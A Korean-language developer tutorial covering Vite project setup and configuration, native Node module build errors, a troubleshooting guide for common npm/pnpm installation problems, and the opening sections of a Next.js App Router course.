저장한 순간부터 화면이 바뀌기까지 — HMR 네 단계 파일 저장 Button.vue 한 줄 Ctrl+S 그 파일만 변환 esbuild · 수 ms 전체 재빌드 없음 웹소켓 알림 브라우저에 전달 새로고침 아님 모듈만 교체 입력값 · 스크롤 유지 체감 즉시 개발 서버가 즉시 뜨는 이유 — 시작할 때 번들을 만들지 않습니다 옛 번들러 방식 전부 묶은 뒤에야 서버가 뜹니다 파일이 늘수록 시작이 느려집니다 Vite 방식 브라우저가 요청한 모듈만 변환 프로젝트 크기와 거의 무관하게 즉시 단, 배포용 빌드(pnpm build)는 Vite 도 전체를 묶습니다 "개발은 안 묶고, 배포는 묶는다" — 이 두 모드의 차이를 아는 것이 Vite 이해의 전부입니다 그래서 개발 중에만 되고 빌드하면 깨지는 문제가 가끔 생깁니다. 배포 전 한 번은 build 를 돌려 보세요 pnpm build 로 만든 결과를 pnpm preview 로 열어 보면 실제 배포 상태를 그대로 확인할 수 있습니다
Vite 가 빠른 이유는 최적화가 아니라 개발 중에는 번들을 아예 만들지 않기 때문입니다.

프로젝트 만들기 — 대화형 한 줄

pnpm create vite
# 또는  npm create vite@latest
# 또는  bun create vite

# 물어보는 것
#   ✔ Project name:      my-app
#   ✔ Select a framework: Vue / React / Svelte / Solid / Vanilla …
#   ✔ Select a variant:   TypeScript ★ / JavaScript

cd my-app
pnpm install
pnpm dev            # http://localhost:5173

# 물어보지 않게 한 줄로
pnpm create vite my-app --template vue-ts
pnpm create vite my-app --template react-ts
pnpm create vite my-app --template react-swc-ts   # 더 빠른 React 변환
명령하는 일
pnpm dev개발 서버 · HMR · 5173 포트
pnpm builddist/ 에 배포용 파일 생성
pnpm preview빌드 결과를 실제처럼 확인 ★
Next.js · Nuxt 는 어떻게 하나요 — pnpm create next-app / pnpm create nuxt 로 만듭니다. 이들은 서버 렌더링까지 포함한 프레임워크라 Vite 보다 배울 것이 많습니다. 처음이라면 Vite + Vue(또는 React) 로 시작해 구조를 익힌 뒤 넘어가는 편이 훨씬 수월합니다.

vite.config.ts — 처음 건드리게 되는 부분

import { defineConfig } from "vite";
import vue from "@vitejs/plugin-vue";
import path from "node:path";

export default defineConfig({
  plugins: [vue()],

  resolve: {
    alias: {
      "@": path.resolve(import.meta.dirname, "src"),  // import "@/comp"
    },
  },

  server: {
    port: 3000,          // 기본 5173 을 바꾸고 싶을 때
    open: true,          // 실행 시 브라우저 자동 열기
    host: true,          // ★ 같은 와이파이의 폰에서 접속 가능

    proxy: {
      // 개발 중 CORS 를 피하는 가장 쉬운 방법 ★
      "/api": {
        target: "http://localhost:8080",
        changeOrigin: true,
      },
    },
  },

  build: {
    outDir: "dist",
    sourcemap: true,     // 배포 후 에러 추적용
  },
});
server.proxy 는 프런트 입문자가 가장 먼저 만나는 벽을 없애 줍니다. fetch("/api/users") 라고만 써도 Vite 가 백엔드로 넘겨 주므로 CORS 오류를 볼 일이 없습니다. host: true 는 폰에서 실제 화면을 확인할 때 필수입니다.

브라우저 개발자도구 — 최소한 이 네 탭 🟢 기초

탭별 용도

탭여기서 하는 일
Console에러 메시지 · console.log · 즉석 실행 ★
Elements실제 DOM 확인 · CSS 를 실시간으로 고쳐 보기
NetworkAPI 요청/응답 · 상태 코드 · 얼마나 느린지 ★
ApplicationlocalStorage · 쿠키 · 서비스 워커 확인·삭제
Sources중단점 디버깅 · Snippets
Performance렌더링이 왜 끊기는지 (나중에)
바로 쓰는 단축키
  F12                       개발자도구 열기
  Ctrl+Shift+C              요소 선택 모드 (클릭한 곳의 코드로)
  Ctrl+Shift+M              모바일 화면 크기 흉내
  Ctrl+Shift+P (도구 안에서) 명령 팔레트 — "screenshot" 등
  Ctrl+Shift+R              캐시 무시하고 새로고침 ★

Network 탭에서 꼭 볼 것
  Status  200 정상 · 401 인증 · 404 없음 · 500 서버 오류
  Payload 내가 보낸 값
  Response 서버가 준 값 ← "화면이 비었어요" 의 답이 여기 있습니다
“화면에 아무것도 안 나와요” 를 물어보기 전에 — Console 의 빨간 줄과 Network 의 빨간 요청을 먼저 보세요. 열에 아홉은 여기에 원인이 그대로 적혀 있습니다.

Tailwind CSS 붙이기 — 2026 방식

pnpm add -D tailwindcss @tailwindcss/vite
// vite.config.ts
import tailwindcss from "@tailwindcss/vite";

export default defineConfig({
  plugins: [vue(), tailwindcss()],   // ★ 이 한 줄이 끝
});
/* src/style.css */
@import "tailwindcss";
Tailwind 4 부터 설정이 크게 줄었습니다. 예전에는 tailwind.config.js 와 postcss.config.js 를 만들고 content 경로를 적어야 했지만, 이제 Vite 플러그인 한 줄 + CSS 한 줄이면 됩니다. 옛날 블로그를 따라 하다가 안 되면 버전 차이를 의심하세요.

프런트에서도 환경 변수를 씁니다

# .env — ★ VITE_ 로 시작하는 것만 브라우저에 노출됩니다
VITE_API_URL=http://localhost:8080
SECRET_KEY=이건_노출되지_않습니다
const api = import.meta.env.VITE_API_URL;   // ★ process.env 가 아닙니다
console.log(import.meta.env.MODE);          // "development" | "production"
console.log(import.meta.env.DEV);           // true / false
프런트엔드의 환경 변수는 “비밀”이 아닙니다. 빌드 결과 안에 문자열 그대로 박혀 브라우저로 전달됩니다. API 키·DB 비밀번호는 절대 넣지 마세요 — 그런 것은 백엔드에만 둡니다.
정리 — pnpm create vite 한 줄로 프로젝트가 만들어지고 pnpm dev 로 개발 서버가 뜹니다. 빠른 이유는 개발 중 번들을 안 만들기 때문이고, server.proxy 로 CORS 를 피하며, 배포 전에는 반드시 build + preview 로 확인합니다. 프런트 환경 변수는 VITE_ 접두사가 붙은 것만, 그리고 비밀이 아닌 것만 넣습니다.
SETUP 11

네이티브 모듈 — node-gyp 이 필요해지는 순간

sharp·better-sqlite3·bcrypt 를 설치하다 알 수 없는 C++ 에러를 만나는 날이 옵니다. 원인은 하나입니다 — 그 패키지 안에 C/C++ 코드가 들어 있고, 내 PC 에서 컴파일해야 하는데 컴파일러가 없다는 것.

pnpm add sharp 를 쳤을 때 실제로 벌어지는 일 패키지 내려받기 내 OS · CPU · Node 버전용 바이너리가 있나? 있다 — 그대로 내려받아 사용 몇 초 · 컴파일러 불필요 · 이 경우가 대부분 없다 — node-gyp 이 직접 컴파일 아래 셋이 전부 있어야 성공합니다 Python 3 3.9 이상 C++ 컴파일러 MSVC / GCC 빌드 도구 make · MSBuild 왼쪽으로 갔다면 신경 쓸 것이 없습니다 오른쪽으로 갔는데 도구가 없으면 gyp ERR! 로 시작하는 긴 오류가 납니다 해결은 둘 — 빌드 도구를 갖추거나, 바이너리가 있는 Node 버전으로 낮추기
에러 메시지가 무섭게 길지만 원인은 단순합니다 — 내 PC 에 컴파일러가 없다는 뜻입니다.

어떤 패키지가 네이티브인가

패키지하는 일 · 상태
sharp이미지 변환. 대부분 미리 빌드본 제공
better-sqlite3SQLite. 새 Node 메이저 직후엔 빌드 필요할 때가 있음
bcrypt비밀번호 해시. bcryptjs 로 대체 가능 ★
canvas서버에서 그림 그리기. 의존성이 많고 까다로움
node-sass폐기. sass(순수 JS)로 바꾸세요 ★
puppeteerC++ 는 아니지만 크로미움을 통째로 내려받음
# 지금 프로젝트에 네이티브 모듈이 있는지 확인
ls node_modules/**/binding.gyp 2>/dev/null
ls node_modules/**/*.node 2>/dev/null

# 설치 로그에서 이런 줄이 보이면 네이티브입니다
#   node-pre-gyp install --fallback-to-build
#   gyp info spawn ...
#   Building: /usr/bin/make
가장 값싼 해결책은 “안 쓰는 것”입니다. bcrypt → bcryptjs, node-sass → sass, sqlite3 → node:sqlite(Node 22+ 내장) 처럼 순수 JS 대체재가 있는지 먼저 찾아보세요. 성능이 조금 손해여도 설치가 항상 성공한다는 가치가 대개 더 큽니다.

빌드 도구 갖추기 — OS 별

# ── Windows ──
# ★ windows-build-tools 패키지는 폐기됐습니다. 쓰지 마세요.
#   (npm i -g windows-build-tools 는 이제 실패하거나 망가집니다)

# 방법 ① Visual Studio Build Tools 를 직접 설치 (권장)
winget install Microsoft.VisualStudio.2022.BuildTools
#   설치기에서 "C++ 를 사용한 데스크톱 개발" 워크로드 체크

# 방법 ② Node 설치 마법사의 "Tools for Native Modules" 체크
#   (st02 에서 껐다면 설치 프로그램을 다시 실행해 켜면 됩니다)

winget install Python.Python.3.12
npm config set msvs_version 2022      # 필요할 때만

# ── macOS ──
xcode-select --install                # Command Line Tools (수 GB)
python3 --version

# ── Ubuntu / Debian ──
sudo apt install -y build-essential python3 pkg-config
#   build-essential 안에 gcc · g++ · make 가 들어 있습니다

# ── Alpine (도커) ──
apk add --no-cache python3 make g++
도커에서 자주 겪는 함정 — node:24-alpine 은 가볍지만 musl libc 를 써서 미리 빌드된 바이너리가 안 맞는 경우가 있습니다. sharp 같은 패키지에서 실패한다면 node:24-slim(데비안 기반)으로 바꾸는 것만으로 해결되는 일이 많습니다.

한 단계 더 — 실제 에러 읽는 법 🟡 중급

전형적인 오류 세 가지

① gyp ERR! find Python
   gyp ERR! find Python Python is not set from command line
   gyp ERR! find Python You need to install the latest version of Python
   → 파이썬이 없거나 PATH 에 없습니다

② gyp ERR! find VS
   gyp ERR! find VS msvs_version not set from command line
   gyp ERR! find VS could not find a version of Visual Studio 2017+
   → 윈도우에 C++ 빌드 도구가 없습니다

③ error: no member named 'IsNearDeath' in 'v8::PersistentBase'
   → 패키지가 옛 Node API 를 씁니다.
     그 패키지가 아직 내 Node 버전을 지원하지 않는 것입니다 ★
③ 이 가장 흔하고 가장 헷갈립니다. Node 를 새 메이저로 올린 직후에 잘 생깁니다. 내 환경 문제가 아니라 패키지가 아직 안 따라온 것이므로, 빌드 도구를 아무리 깔아도 안 됩니다. 패키지를 최신으로 올리거나 Node 를 한 단계 낮추는 것이 답입니다.
# 로그 전문 보기 — 진짜 원인은 보통 중간쯤에 있습니다
npm i --foreground-scripts --loglevel verbose
cat ~/.npm/_logs/*-debug-0.log | tail -100

# 그 패키지가 어떤 Node 를 지원하는지 확인
npm view sharp engines
npm view better-sqlite3 versions --json | tail -20

막혔을 때의 순서 — 위에서부터

순서할 일
1패키지를 최신 버전으로 올려 봅니다 — 바이너리가 새로 올라왔을 수 있습니다
2node_modules 지우고 캐시 없이 재설치
3Node 를 이전 LTS 로 낮춰 봅니다(fnm 이 있으면 30초)
4순수 JS 대체재가 있는지 찾습니다
5그래도 필요하면 빌드 도구를 설치합니다
# 1~2번 실행
pnpm up sharp --latest
rm -rf node_modules
pnpm store prune
pnpm i

# 3번 — fnm 이 있으면 이것이 가장 빠른 확인법
fnm use 22
rm -rf node_modules && pnpm i
#  → 되면 "Node 24 를 아직 지원 안 함" 이 확정됩니다

# 빌드를 아예 건너뛰고 미리 빌드본만 쓰게 강제
npm i sharp --build-from-source=false
npm_config_build_from_source=false pnpm i
pnpm 10 부터는 설치 스크립트가 기본 차단됩니다. 보안 강화 때문인데, 네이티브 모듈은 그 스크립트로 빌드하므로 Ignored build scripts 경고가 뜨면서 동작하지 않습니다. pnpm approve-builds 를 실행해 허용하거나, package.json 의 pnpm.onlyBuiltDependencies 에 패키지 이름을 넣어 주세요.
정말 급할 때의 우회로 — 이미지 변환처럼 무거운 네이티브 작업은 도커 컨테이너 안에서만 돌리는 방법이 있습니다. 내 윈도우 PC 에는 아무 빌드 도구도 깔지 않고, docker compose up 으로 리눅스 안에서 설치·실행하면 “내 PC 환경” 문제 자체가 사라집니다. 팀 전체가 같은 환경을 쓰게 되는 것은 덤입니다.
정리 — 네이티브 모듈은 미리 빌드된 바이너리가 있으면 아무 문제 없고, 없으면 Python + C++ 컴파일러 + 빌드 도구가 필요합니다. windows-build-tools 는 폐기됐으니 VS Build Tools 를 직접 깔고, 막히면 패키지 업그레이드 → Node 낮추기 → 순수 JS 대체재 순으로 시도하세요.
SETUP 12

설치 문제 사전 — 증상 → 원인 → 해결

실무에서 실제로 겪는 오류를 메시지 그대로 모았습니다. 검색하기 전에 여기서 먼저 찾아보세요. 대부분 한두 줄로 끝납니다.

무엇부터 확인하나 — 증상으로 네 갈래입니다 뭔가 안 된다 명령을 못 찾음 node · npm · tsc not recognized 권한 오류 EACCES · EPERM 관리자 권한 요구 설치가 실패 ERESOLVE · gyp ERR 인증서 · 네트워크 되는데 이상함 버전이 안 바뀜 포트 점유 · 옛 캐시 PATH · 새 터미널 where.exe node st05 로 경로를 홈으로 sudo 를 더 쓰지 말 것 st04 로 로그 중간을 읽기 끝줄에는 원인이 없음 아래 표 · st11 무엇이 잡히나 which -a · 포트 확인 재설치는 마지막 공통 원칙 — 지우고 다시 까는 것은 마지막 수단입니다 먼저 "지금 무엇이 실제로 잡히고 있는지" 를 확인하세요. 원인을 모른 채 재설치하면 같은 일이 반복됩니다
진단의 첫 걸음은 언제나 “지금 어느 파일이 실행되고 있는가”입니다.
증상 (실제 메시지)원인해결
'node'은(는) 내부 또는 외부 명령이 아닙니다
command not found: node
PATH 에 없거나, 설치 후 터미널을 새로 안 열었음 터미널을 새로 열기 → where.exe node / which -a node → 없으면 PATH 추가(st05)
npx : 이 시스템에서 스크립트를 실행할 수 없으므로 … .ps1 파일을 로드할 수 없습니다 PowerShell 실행 정책이 Restricted Set-ExecutionPolicy -Scope CurrentUser RemoteSigned
잠겨 있으면 npx.cmd 를 쓰거나 Git Bash
npm ERR! code EACCES
permission denied
전역 설치 경로가 시스템 영역(root 소유) sudo 를 더 쓰지 마세요. npm config set prefix ~/.npm-global 또는 fnm 사용(st04)
npm ERR! code ERESOLVE
unable to resolve dependency tree
peer dependency 버전이 서로 맞지 않음 먼저 해당 패키지를 최신으로. 급하면 --legacy-peer-deps (임시방편입니다)
gyp ERR! find VS
gyp ERR! find Python
네이티브 모듈인데 빌드 도구가 없음 패키지 업그레이드 → Node 낮추기 → 순수 JS 대체재 → 빌드 도구 설치(st11)
Error: EADDRINUSE: address already in use :::3000 같은 포트를 다른 프로세스가 이미 쓰고 있음 아래 “포트 점유” 명령으로 찾아 종료하거나 포트를 바꿉니다
SELF_SIGNED_CERT_IN_CHAIN
UNABLE_TO_GET_ISSUER_CERT_LOCALLY
회사 프록시가 TLS 를 중간에서 다시 서명 사내 루트 인증서를 NODE_EXTRA_CA_CERTS 로 지정. strict-ssl=false 는 최후의 수단
ETIMEDOUT · ECONNREFUSED · ENOTFOUND registry.npmjs.org 프록시 설정 누락 · 사내망 차단 .npmrc 에 proxy·https-proxy·registry 설정(st06)
Cannot find module 'X'
분명히 설치했는데
다른 Node 버전에 설치 · node_modules 손상 · 유령 의존성 node -v 확인 → package.json 에 실제로 적혀 있는지 확인 → 재설치
ERR_MODULE_NOT_FOUND
Did you mean to import ./util.js?
ESM 에서 확장자를 빠뜨림 import "./util.js" 처럼 확장자를 붙입니다(st07)
Cannot use import statement outside a module package.json 에 "type": "module" 이 없음 npm pkg set type=module 또는 파일을 .mjs 로
tsc 는 통과하는데 편집기만 빨간 줄 VS Code 가 내장 TS 를 쓰고 있음 TypeScript: Select Version → Use Workspace Version(st08)
버전을 바꿨는데 node -v 가 그대로 PATH 앞자리를 다른 설치본이 차지하고 있음 where.exe node / which -a node 로 목록 확인 → 순서 조정(st05)
Ignored build scripts: sharp (pnpm) pnpm 10 이 설치 스크립트를 기본 차단 pnpm approve-builds 또는 pnpm.onlyBuiltDependencies 에 추가
경로에 한글·공백이 있을 때의 알 수 없는 실패 일부 도구가 경로를 제대로 처리 못 함 프로젝트를 C:\dev\my-app 처럼 영문·공백 없는 경로로 옮깁니다
EPERM: operation not permitted, unlink (윈도우) 파일을 다른 프로그램이 잡고 있음(에디터·백신·실행 중인 서버) 서버 종료 → VS Code 종료 → 백신 실시간 검사에서 프로젝트 폴더 제외

포트 점유 — 3000 번을 누가 쓰고 있나

# ── Windows (PowerShell) ──
netstat -ano | findstr :3000
#   TCP  0.0.0.0:3000 … LISTENING   18244   ← 맨 끝이 PID

tasklist /FI "PID eq 18244"        # 무슨 프로그램인지 확인
taskkill /PID 18244 /F             # 강제 종료

# 더 간단한 방법
Get-NetTCPConnection -LocalPort 3000 | Select-Object OwningProcess
Stop-Process -Id 18244 -Force

# ── macOS · Linux ──
lsof -i :3000
kill -9 $(lsof -t -i:3000)

# ★ 아예 다른 포트로 피하기
PORT=3001 pnpm dev
pnpm dev --port 3001               # Vite
죽었다고 생각한 서버가 살아 있는 경우가 많습니다. Ctrl+C 로 껐어도 --watch 자식 프로세스가 남거나, VS Code 의 다른 터미널 탭에서 아직 돌고 있을 수 있습니다. 포트를 찾기 전에 터미널 탭들을 먼저 훑어보세요.

사내 프록시 · 자체 서명 인증서

# 증상
#   npm ERR! code SELF_SIGNED_CERT_IN_CHAIN
#   Error: unable to verify the first certificate

# ✅ 올바른 해결 — 사내 루트 인증서를 Node 에 알려 줍니다
#   (보안팀에서 .crt / .pem 파일을 받습니다)
setx NODE_EXTRA_CA_CERTS "C:\certs\corp-root.crt"          # 윈도우
export NODE_EXTRA_CA_CERTS=/etc/ssl/certs/corp-root.pem    # 맥·리눅스

npm config set cafile /etc/ssl/certs/corp-root.pem

# ❌ 검색하면 제일 먼저 나오는 방법 — 쓰지 마세요
npm config set strict-ssl false
#   중간자 공격에 그대로 노출됩니다.
#   꼭 써야 한다면 그 자리에서만 쓰고 즉시 되돌리세요:
npm config delete strict-ssl
회사 노트북에서 npm install 이 아예 안 될 때 순서
① npm config get registry — 사내 미러를 써야 하는지 확인
② npm config get proxy https-proxy — 프록시 설정 확인
③ NODE_EXTRA_CA_CERTS 설정
④ 그래도 안 되면 사내 위키·인프라팀에 .npmrc 표준 설정이 있는지 물어보세요. 대부분의 회사에는 이미 정해진 값이 있습니다.
VPN 을 켠 상태와 끈 상태가 다를 수 있습니다. “집에서는 되는데 회사에서만 안 된다”면 거의 확실히 프록시·인증서 문제입니다.

최후의 수단 — 깨끗하게 다시 설치하기 🟢 기초

단계별 초기화 — 위험한 순으로

# ① 가장 안전 — node_modules 만 지우기 (거의 항상 이걸로 해결)
rm -rf node_modules
pnpm i

# ② 캐시까지 (참조 없는 파일만 지웁니다)
pnpm store prune
npm cache verify

# ③ lockfile 삭제 ★ 여기부터는 신중하게
#    버전이 통째로 올라갈 수 있습니다. 커밋 전에 반드시 테스트하세요
rm -rf node_modules pnpm-lock.yaml
pnpm i

# ④ 전역 캐시 완전 삭제 (거의 필요 없습니다)
npm cache clean --force

# ── 윈도우 PowerShell 버전 ──
Remove-Item -Recurse -Force node_modules
Remove-Item -Force pnpm-lock.yaml
pnpm i
“일단 지우고 다시 깔기”를 첫 수단으로 삼지 마세요. 문제의 절반은 재설치로 안 고쳐지고, 고쳐지더라도 원인을 모른 채 넘어가 같은 일이 반복됩니다. node -v · which -a node · 로그 중간 줄 — 이 세 가지를 먼저 보세요.

환경을 통째로 점검하는 한 줄들

# 지금 환경 요약
node -v; npm -v; pnpm -v; tsc -v 2>$null
npm config get prefix
npm config get registry
npm doctor                    # ★ npm 이 스스로 진단합니다

# 어디에서 실행되고 있나
where.exe node npm pnpm       # 윈도우
which -a node npm pnpm        # 맥 · 리눅스

# 프로젝트가 어떤 버전을 요구하나
cat .node-version 2>/dev/null || cat .nvmrc 2>/dev/null
node -p "require('./package.json').engines"

# 전역에 뭐가 깔려 있나 (깜짝 놀랄 때가 있습니다)
npm ls -g --depth=0
pnpm ls -g --depth=0
질문하기 전에 이 출력을 붙여 넣으세요. 동료나 커뮤니티에 물어볼 때 이 대여섯 줄만 함께 주면 대부분 한 번에 답이 옵니다. “안 돼요”라는 말만으로는 아무도 도울 수 없습니다.
새 PC 를 받았을 때의 체크리스트 — ① fnm 설치 + 셸 훅(st03) → ② fnm install 24 → ③ corepack enable pnpm(st06) → ④ VS Code + 확장 3종(st08) → ⑤ git config --global core.autocrlf input → ⑥ 프로젝트 클론 후 pnpm i. 여기까지 15분이면 끝납니다.
정리 — 증상은 네 갈래입니다 — 명령을 못 찾음(PATH) · 권한(설치 경로) · 설치 실패(로그 중간) · 이상 동작(무엇이 잡히나). where.exe node / which -a node · npm doctor · 로그 중간 줄 셋이 진단의 출발점이고, 재설치는 언제나 마지막 수단입니다.
NEXT.JS 15/16 · App Router · 서버 컴포넌트 · Server Actions · 2026 기준

리액트를
서비스로
만드는 자리

리액트 탭에서 화면 = f(상태) 까지 왔습니다. 그런데 실제 서비스에는 검색 노출 · 첫 화면 속도 · DB 접근 · 로그인 · 배포가 남습니다. Next.js 는 이 전부를 "HTML 을 언제 어디서 만드는가" 하나로 다시 정리한 프레임워크입니다. 이 탭은 App Router · 서버 컴포넌트 · 캐싱 · Server Actions 를 축으로, 블로그 + 관리자 하나를 실제로 배포하는 데까지 갑니다. 여기까지 마치면 "이 화면은 어디서 렌더되고 어디에 캐시되는가"를 스스로 설계할 수 있습니다.

13SECTIONS
15/16Next 기준
AppRouter 전용
1끝까지 가는 프로젝트
NEXT 01

Next.js 가 푸는 문제 — SPA 로는 못 넘는 벽

리액트만으로도 화면은 잘 만들었습니다. 그런데 서비스를 열자마자 검색에 안 잡히고, 첫 화면이 늦고, DB 비밀번호를 브라우저에 둘 수 없다는 세 개의 벽이 나타납니다. Next.js 는 이 셋을 전부 "HTML 을 언제 어디서 만드는가" 를 바꿔서 풉니다.

HTML 은 언제 · 어디서 만들어지나 — 다섯 전략의 차이는 이것뿐입니다 ① 빌드할 때 ② 요청이 올 때 (서버) ③ 브라우저에서 CSR 만드는 것 없음 빈 껍데기를 그대로 전달 JS 가 전부 그림 SSG HTML 완성 ★ CDN 이 그대로 내보냄 하이드레이션만 ISR HTML 완성 N초 지나면 뒤에서 갱신 하이드레이션만 SSR 만들어 둘 수 없음 요청마다 새로 생성 하이드레이션만 PPR 정적 껍데기 완성 구멍만 스트리밍 도착 순서대로 채움 느린 첫 화면 · 검색 노출 문제는 ①②에 아무것도 없는 CSR 에서만 생깁니다 Next.js 의 값어치는 앱 하나 안에서 페이지마다 ①②③ 비율을 다르게 고를 수 있다는 것입니다
이 표가 이 탭 전체의 지도입니다 — 남은 섹션은 전부 어느 칸을 쓸지 고르고 그 칸을 관리하는 법입니다.

CSR 만으로 안 되는 세 가지

<!-- Vite + React 로 만든 앱을 '소스 보기' 하면 이게 전부입니다 -->
<div id="root"></div>
<script type="module" src="/assets/index-a3f1.js"></script>
  • ① 검색·공유 — 크롤러와 카카오톡·슬랙 미리보기 봇은 대체로 JS 를 실행하지 않거나 아주 늦게 실행합니다. 위 HTML 에는 제목도 본문도 없으니 빈 페이지로 수집됩니다
  • ② 첫 화면 — JS 번들 내려받기 → 실행 → API 호출 → 응답 → 그제서야 화면. 흰 화면 구간이 네트워크가 느릴수록 길어집니다
  • ③ 데이터 접근 — 브라우저 코드에는 DB 접속 정보나 API 키를 둘 수 없습니다. 그래서 결국 API 서버를 따로 만들게 됩니다 — 화면 저장소 하나, 서버 저장소 하나, 타입은 손으로 맞추는 생활이 시작됩니다
흔한 오해 — "구글은 이제 JS 를 실행하니 괜찮다". 구글은 실행하지만 지연 큐에 넣습니다. 그리고 네이버·다음·빙· 각종 미리보기 봇·AI 크롤러는 대부분 실행하지 않습니다. 커머스·미디어·랜딩 페이지라면 이건 매출 문제입니다.

Next.js 가 바꾸는 지점

// app/posts/[slug]/page.tsx  —  파일 하나가 곧 페이지입니다
// ★ 이 함수는 '서버에서' 실행됩니다. 브라우저 번들에 안 들어갑니다.
import { db } from "@/lib/db";

export default async function PostPage(
  { params }: { params: Promise<{ slug: string }> }   // Next 15+ 는 Promise
) {
  const { slug } = await params;
  const post = await db.post.findUnique({ where: { slug } });  // DB 직접

  return (
    <article>
      <h1>{post.title}</h1>
      <p>{post.body}</p>
    </article>
  );
}

// 결과: 사용자와 크롤러가 받는 HTML 안에 제목·본문이 '이미' 들어 있습니다.
// API 서버도, fetch 도, 로딩 스피너도 없습니다.
이 코드가 이 탭의 전부를 압축합니다 — 컴포넌트가 서버에서 돈다는 한 가지 사실에서 SEO · 첫 화면 · DB 직접 접근 · 번들 축소가 동시에 해결됩니다. 나머지는 "그럼 클릭은 어떻게 하나(f03)", "매번 DB 를 때리면 느리지 않나(f04)" 같은 뒤따르는 질문들입니다.

용어 정리 — SSG · ISR · SSR · PPR 을 한 표로 🟡 중급

전략HTML 을 만드는 시점쓰는 자리 · 대가
SSG
정적 생성
빌드할 때 한 번 문서 · 블로그 글 · 이용약관. 가장 빠르고 가장 쌉니다. 대가 — 내용을 바꾸려면 다시 빌드·배포해야 합니다
ISR
증분 재생성
빌드 때 + 이후 revalidate 주기마다 상품 목록 · 기사 · 순위표. SSG 의 속도에 갱신을 얹은 것이라 2026년 콘텐츠 페이지의 기본값입니다. 대가 — 최대 N초 낡은 화면을 볼 수 있습니다
SSR
요청 렌더
요청이 올 때마다 사람마다 다른 화면(장바구니 · 대시보드 · 내 주문). 대가 — 서버 비용과 지연이 요청 수에 비례합니다
PPR
부분 사전 렌더
껍데기는 빌드 때, 구멍은 요청 때 "헤더·상품 정보는 모두 같고, 재고·추천만 다르다" 같은 섞인 페이지. SSG 의 첫 바이트에 SSR 의 개인화를 얹습니다
CSR
클라이언트
브라우저에서 (Next 안에서도 씁니다) 차트 · 에디터 · 지도처럼 서버가 그려 봤자 의미 없는 것. Next 에서는 "use client" 컴포넌트가 이 자리입니다
이름에 겁먹지 마세요 — App Router 에서 이것들은 따로 고르는 모드가 아닙니다. 코드에 cookies() 를 쓰면 SSR 이 되고, revalidate 를 적으면 ISR 이 되고, 아무것도 안 쓰면 SSG 가 됩니다. 내가 쓴 코드가 전략을 결정합니다(f06 에서 자세히).

그래서 무엇을 고르나 — Next · Astro · React Router 7 🟡 중급

위에서부터 답해 내려오다 처음 '예'가 나오는 곳에서 멈춥니다 ① 검색 · 공유 미리보기가 필요한가 블로그 · 상품 · 랜딩 · 채용 공고 아니오 — Vite + React SPA 사내 도구 · 관리자면 이걸로 충분합니다 ② 내용이 대부분 글 · 문서인가 상호작용이 거의 없는 콘텐츠 사이트 예 — Astro 섬 구조로 JS 를 거의 0 으로 줄입니다 ③ 로그인 · DB · 대시보드가 핵심인가 리액트 생태계를 그대로 쓰고 싶다 예 — Next.js App Router ★ 이 탭이 다루는 자리입니다 ④ 벤더 중립 · 웹 표준이 더 중요한가 Request / Response 를 그대로 다루기 예 — React Router 7 · Remix Next 규칙보다 표준에 가깝습니다 섞어도 됩니다 — 마케팅 페이지는 Astro, 서비스 본체는 Next.js 로 나눠 쓰는 회사가 많습니다
고민이 되는 건 사실상 ③과 ④ 사이입니다 — 나머지는 답이 이미 정해져 있습니다.

시작하기 — 5분

# Node 20 이상 (24 LTS 권장) 이면 됩니다
node -v

npx create-next-app@latest my-app
#  ✔ TypeScript?            → Yes
#  ✔ ESLint?                → Yes
#  ✔ Tailwind CSS?          → Yes  (f10 에서 씁니다)
#  ✔ `src/` directory?      → Yes  (취향, 이 탭은 src/ 기준)
#  ✔ App Router?            → Yes  ★ 반드시
#  ✔ Turbopack?             → Yes  (Next 16 은 기본값)
#  ✔ import alias (@/*)?    → Yes

cd my-app
npm run dev            # http://localhost:3000

npm run build          # 프로덕션 빌드 — 페이지별 전략이 표로 출력됩니다
npm run start          # 빌드 결과를 실행
npm run build 의 출력표를 꼭 보세요. 페이지마다 ○ Static · ƒ Dynamic 같은 기호가 붙습니다 — 내가 의도한 전략이 실제로 적용됐는지 확인하는 가장 빠른 방법이고, f06 에서 이 표를 읽는 법을 다룹니다.

Pages Router 를 마주쳤을 때

Pages Router (구)App Router (현재)
pages/about.tsxapp/about/page.tsx
getServerSideProps서버 컴포넌트에서 await
getStaticProps그냥 fetch + revalidate
getStaticPathsgenerateStaticParams
_app.tsx·_document.tsxapp/layout.tsx 하나
next/headmetadata·generateMetadata
pages/api/*.tsapp/api/*/route.ts
useRouter(next/router)next/navigation 의 훅들
둘은 한 프로젝트에 공존할 수 있습니다 — 그래서 회사 코드에는 섞여 있는 경우가 많습니다. 인터넷 예제를 볼 때 getServerSideProps 가 보이면 옛 문법이라고 판단하세요. 이 탭은 App Router 만 다룹니다.
정리 — Next.js 는 리액트에 서버라는 실행 자리를 되돌려 준 프레임워크입니다. 컴포넌트가 서버에서 돌기 때문에 검색 노출 · 첫 화면 · DB 직접 접근이 한꺼번에 풀리고, 페이지마다 SSG · ISR · SSR · PPR 을 다르게 고를 수 있습니다. 고민되는 선택지는 사실상 Next 냐 React Router 7 이냐 하나뿐이고, 콘텐츠 위주면 Astro, 로그인 뒤에서만 쓰는 도구면 Vite SPA 로 충분합니다.
NEXT 02

App Router 구조 — 폴더가 곧 URL, 파일 이름이 곧 역할

라우터 설정 파일이 없습니다. app/ 아래의 폴더 이름이 주소가 되고, 파일 이름이 그 자리의 역할을 정합니다. 규약을 여덟 개만 외우면 구조가 전부 읽힙니다.

app/ 폴더 규약 — 왼쪽 파일이 오른쪽 중첩을 만듭니다 app/ ├ layout.tsx 모든 페이지를 감싼다 ├ page.tsx 주소 "/" ├ loading.tsx Suspense 대체 화면 ├ error.tsx "use client" 필수 ├ not-found.tsx 404 화면 ├ (marketing)/ 그룹 — 주소에 안 나옴 │ └ about/page.tsx → /about ├ dashboard/ │ ├ layout.tsx 여기 아래만 감싼다 │ ├ page.tsx → /dashboard │ └ [id]/page.tsx → /dashboard/42 ├ blog/[...slug]/page.tsx → /blog/a/b └ api/health/route.ts → GET /api/health app/layout.tsx — html · body · 폰트 · 전역 CSS dashboard/layout.tsx — 사이드바 · 헤더 loading.tsx = Suspense 대체 화면 error.tsx = 에러 경계 page.tsx 여기가 실제 내용입니다 layout 은 주소가 바뀌어도 다시 그려지지 않습니다 — 사이드바 스크롤과 상태가 유지됩니다 이동할 때마다 새로 그려야 하면 template.tsx 를 쓰고, 그 자리에서만 감싸고 싶으면 그 폴더에 파일을 둡니다
파일 이름 여덟 개가 곧 프레임워크입니다 — 설정 파일 대신 폴더 구조로 말합니다.

특수 파일 여덟 개

파일역할
